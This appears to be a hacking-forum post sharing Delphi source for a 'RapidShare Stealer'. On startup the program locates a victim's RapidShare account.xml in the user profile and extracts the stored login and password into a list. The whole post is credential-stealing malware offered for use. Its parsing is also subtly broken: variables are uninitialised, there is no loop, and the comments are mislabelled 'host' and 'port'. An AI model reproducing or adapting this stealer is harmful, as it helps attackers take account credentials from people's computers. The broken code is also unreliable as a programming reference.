[Source] RapidShare Stealer

[Cartman.]

Coded By DeathLine

All you need is:

Listbox Named 'Lv1'

And a memo.

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, xmldom, XMLIntf, msxmldom, XMLDoc, StdCtrls;

type
  TForm1 = class(TForm)
    Lv1: TListView;
    Memo1: TMemo;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    procedure GetRapidShare;
    function compuser: string;
     function CurDrv: string;
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
GetRapidShare();
end;

procedure tform1.GetRapidShare();
/// Coded By DeadLine ///
var
i,x:integer;
user, pw, path:string;
begin
path:= CurDrv + ':\Users\' + compuser + '\AppData\Local\RapidShare\account.xml';
form1.memo1.Lines.LoadFromFile(path);
begin
      //get host
        if copy(form1.memo1.lines[i], x, length('<login>')) = '<login>' then
          begin
            User := copy(form1.memo1.lines[i], x+length('<login>'), length(form1.memo1.lines[i])-25);
          end;
      //get port
        if copy(form1.memo1.lines[i], x, length('</passwort> ')) = '</passwort> ' then
          begin
            pw := copy(form1.memo1.lines[i], x+length('</passwort> '), length(form1.memo1.lines[i])-25);
          end;
              with form1.lv1.Items.Add do
                begin
                 caption := 'RapidShare';
                 subitems.add(user);
                 subitems.add(pw);
                end;
          end;
      end;
Function TForm1.compuser: string;
Var
   UserName : string;
   UserNameLen : Dword;
Begin
   UserNameLen := 255;
   SetLength(userName, UserNameLen) ;
   If GetUserName(PChar(UserName), UserNameLen) Then
     Result := Copy(UserName,1,UserNameLen - 1)
   Else
     Result := 'Unknown';
End;
function  TForm1.CurDrv: string;
var 
  s1: string;
  s2: Char;
begin
  GetDir(0,s1);
  s2     := s1[1];
  CurDrv := s2;

end;
end.